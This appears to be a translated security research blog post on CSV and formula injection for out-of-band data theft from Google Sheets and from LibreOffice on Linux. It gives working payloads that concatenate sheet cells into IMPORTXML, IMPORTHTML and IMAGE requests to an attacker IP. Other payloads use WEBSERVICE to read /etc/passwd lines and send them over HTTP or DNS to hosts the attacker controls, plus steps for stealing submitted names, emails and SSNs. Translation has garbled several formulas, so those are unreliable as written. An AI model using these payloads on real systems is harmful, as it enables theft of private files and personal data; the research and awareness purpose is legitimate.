由于最近有一个客户端测试的机会,我才有机会利用带外数据(out-of-band,OOB)的方法,从电子表格中提取数据。不过要注意的是,我本文中描述的方法,都是假设我对电子表格的内容有一定的控制权限,虽然这些权限非常有限的,但我还是有可能对完整的文档或客户端(目标)系统进行访问。
为此,我粗略的了解了一下LibreOffice(是OpenOffice.org 办公套件衍生版)和Google Sheets(一种数据透视表),并分别找到了一些PoC。不过,我特别关注基于非Windows的应用程序,这是因为Windows的应用程序已经被研究烂了,我不想重复研究。
在这篇文章中,我会向大家介绍了来自NotSoSecure团队的Ajay(@ 9r4shar4j4y)和Balaji(@ iambalaji7)的研究。下面的PoC可能允许我使用相对简单的内置功能来获取潜在的敏感信息,甚至可以读取各自客户端系统上的文件内容。虽然目前还没有出现这方面的攻击案例,但我希望大家在看到我的文章后,可以了解一些潜在的攻击途径。
用OOB方法获取Google Sheets的敏感数据
如果我希望获取实时数据,基于云的数据捕获可能是最好的选择。与基于客户端的攻击不同,利用云端攻击,能够快速连续的在表单中填充数据并接收实时响应。
至于攻击情景,可能会因攻击者的获取内容不同而有很大不同。如果黑客能够创建或上传CSV文件或类似文件到攻击目标中,那么他们成功攻击的可能性就非常大。先让我们来了解Google Sheets。
首先,我来介绍一些Google Sheets非常有趣的功能。
CONCATENATE:将字符串互相叠加:
= CONCATENATE(A2:E2)
IMPORTXML:从各种结构化的数据类型(包括XML,HTML,CSV,TSV以及RSS和ATOM XML Feed)导入数据:
= IMPORTXML(CONCAT(“http:// [remote IP:Port] /123.txt?v=”,CONCATENATE(A2:E2)),“// a / a10”)
IMPORTFEED:导入RSS或ATOM提要:
= IMPORTFEED(CONCAT(“http:// [remote IP:Port] // 123.txt?v =”,CONCATENATE(A2:E2)))
IMPORTHTML:从HTML页面中的表或列表导入数据:
= IMPORTHTML(CONCAT(“http:// [remote IP:Port] /123.txt?v=”,CONCATENATE(A2:E2)),“table”,1)
IMPORTRANGE:从指定的电子表格导入一系列单元格。
= IMPORTRANGE(“https://docs.google.com/spreadsheets/d/[Sheet_Id]”,“sheet1!A2:E2”)
IMAGE:将图像插入单元格。
= IMAGE(“https:// [远程IP:端口] /images/srpr/logo3w.png”)
数据的提取过程
基于Google电子数据表功能的文档,都有可能因为上述的这些有趣功能,而被黑客使用带外数据方式进行攻击。不过,提取数据的过程并不是一帆风顺的。老实说,在第一次试验中,我是失败的。失败的原因简单来说,就是Google提供了创建表单和接收回复的功能,这样以后用户可以使用Google Sheets访问。所以我试图通过在每个Google表单的评论部分提交恶意公式来利用这个访问权限。但是,Google会对提交的响应进行了安全性检查,并自动在公式前添加(')撇号,从而停止公式的执行。
吸取了第一次的教训后,我在第二次的实验中就取得了成功,Google Sheets还提供了一些功能,允许用户向csv,tsv,xlsx等不同的文件格式中导入数据。而导入的数据不但可以使用新电子表格表示,也可以附加到现有工作表中。在本文的PoC中,我会将导入的数据附加到包含前一次响应的工作表中,以便我可以提取其他用户提交的数据。幸运的是,Google没有像在场第一次试验中那样执行相同的检查。具体提取步骤如下:
1.我会首先创建了一个带有有效载荷(公式)的恶意csv文件,该文件将连接A到D列的所有数据。然后,我使用这些详细信息为要发起攻击的服务器生成带外请求。
2.然后,我使用导入功能将csv文件导入Google Sheets,并将这些数据附加到现有工作表中。
3.一旦数据导入完成,我创建的有效载荷就会执行,并且我会在攻击服务器的HTTP服务器上监听到用户的详细信息,例如姓名,电子邮件和SSN数据。
希望这能给大家提供一个可以实现的代码片段,考虑到这一点,我将继续讨论这个问题,但接下来,将以LibreOffice为例。
在Linux环境中读取LibreOffice OS文件
本节重点介绍如何在Linux环境中利用CSV注入来窃取用户表格中的数据,由于目前网上已有许多与使用Excel开发DDE有关的博客、PoC和类似的博客,所以,我就不介绍了。但很少有涉及Linux环境中的办公应用程序研究的,这是可以理解的,因为Linux桌面的流行程度远不如Windows,而且我知道,黑客的攻击目标总是会瞄准使用最广泛,也最赚钱的终端。
在本文中,我想着重介绍一些简单的,但非常有趣的公式攻击,它们可以在Linux目标上被广泛使用。在进行测试时,我使用的是以下环境。
目前,有效载荷已在下列环境中成功测试过:
· Ubuntu 16.04 LTS和LibreOffice 5.1.6.2
· Ubuntu 18.04 LTS和LibreOffice 6.0.3.2
我首先尝试通过使用本地访问的公式来读取敏感文件,LibreOffice提供使用“file”协议读取文件。我创建了从本地/etc/passwd文件中检索单行的初始PoC,详细介绍如下。
有效载荷1:
='文件:///etc/passwd'#$passwd.A1
上述有效载荷代表的意思是:‘file:///etc/passwd’#$passwd.A1——将从本地/etc/passwd文件读取第一行。有趣的是,似乎还可以使用http://来代替file:///查询远程资源。
需要注意的是,在初始导入时,系统会提示用户执行如下图所示的操作,在本例中显示的是/etc/group的输出内容。
导入后,每当文档重新打开时,都会提示用户更新链接。
顺便说一句,通过修改行引用(在本例中是A2),我可以从文件中读取更多的条目。
虽然一切都很顺利,但我还需要一种来查看来自远程系统文件内容的方法,因为,我还不会在LibreOffice应用程序中查看这些已获取的结果。
为此,我特意了解了一下WEBSERVICE函数。实质上,我可以使用此函数连接到我控制的远程系统,然后向我们从本地/etc/passwd文件中提取的数据发送请求。显然,这些文件不会存在于目标主机上,但GET请求将包含所有有用的信息,并且可以通过攻击主机上的日志或控制台输出要访问的文件。
根据我的这些设想,我找到了以下PoC。
有效载荷2:
= WEBSERVICE(CONCATENATE( “HTTP:// <IP>:8080 /”,('文件:///etc/passwd'#$passwd.A1)))
上述有效载荷的解读如下:
1.‘file:///etc/passwd’#$passwd.A1——将从本地/etc/passwd文件中读取第一行;
2.CONCATENATE(“http://<ip>:8080”,(‘file:///etc/passwd’#$passwd.A1))——连接IP地址并输出'file'
3.WEBSERVICE——将向攻击目标的主机发给定的URI请求;
我的攻击系统运行了Python的SimpleHTTPServer,所以当恶意文件在受害者系统上打开时,我的服务器就会发出请求并接收他们。
同样,我也创建了几个有效载荷来读取目标文件中的多行信息。如果空间不是问题,只需确保最后一个引用,即将#$passwd.A1设置为每行的增量,就可以通过在单个文档中嵌入多行来轻松实现此任务。以下PoC将提取并发送目标文件/etc/passwd中的前30行。
但是,实现相同目标的更简洁的方法是在单个公式中引用多行,如下所示。
在执行下面的有效有效载荷时,从/etc/passwd文件发送2行到攻击服务器。
有效载荷3:
= WEBSERVICE(CONCATENATE( “HTTP:// <IP>:8080 /”,( '文件:///etc/passwd'#$passwd.A1)&CHAR(36)及(' 文件:/// etc / passwd中“#$ passwd.A2)))
上述有效载荷的解释如下:
1.‘file:///etc/passwd’#$passwd.AX——将从本地/etc/passwd文件中读取第一行和第二行;
2.CONCATENATE(“http://<ip>:8080/”,(‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2))——将攻击服务器IP地址与/etc/2/passlines行中的第1行和第2行(文件中的第2行)的输出连接起来,每个行都用$字符隔开;
3.WEBSERVICE - 将向我的攻击目标主机发送给定的URI请求
查看攻击主机,我可以在GET请求中看到/etc/passwd中的相应条目,在这个实例中由$字符(CHAR 36)分隔。
根据文件内容的不同,我可能会遇到长度的问题,此时特殊字符也可能在PoC中不起作用。
我会在下一个PoC中解决了这两个问题,这个PoC中,既没有强制性的DNS示例,也没有完整的OOB数据盗取;。
有效有效载荷4
= WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('文件:///etc/passwd'#$passwd.A19)),1,41), “%”, “ - ”)),“<FQDN >“))
上述有效载荷的解释如下:
1.‘file:///etc/passwd’#$passwd.A19——将从本地/etc/passwd文件中读取第19行;
2.ENCODEURL(‘file:///etc/passwd’#$passwd.A19)——对返回的数据进行URL编码
3.MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41)——类似于子字符串,对第1个字符到第41个字符进行数据读取,这是限制DNS主机名长度的一种非常方便的方法(FQDN上有254个字符限制,标签上有63个字符,即子域)。
4.SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)——用破折号替换%(URL中的特殊字符编码),这样就可以确保只使用有效的DNS字符;
5.CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) ——将文件的输出(经过上述处理后)与FQDN(我对主机具有权威访问权)域连接;
6.WEBSERVICE——将对这个不存在的DNS名称发出请求,之后我就可以在我控制的权威DNS名称服务器上解析日志或运行tcpdump等。
在发送此消息时,我可以通过我的服务器上的tcpdump来查看FQDN的查询结果,这包括来自/etc/passwd的第19行的编码数据,该服务器被配置为该域的权威服务器,如下所示。
如果你恰好在使用、测试或修改一个提供上传、下载、导入、导出CSV数据等的应用程序,那么这篇文章或许能帮到你。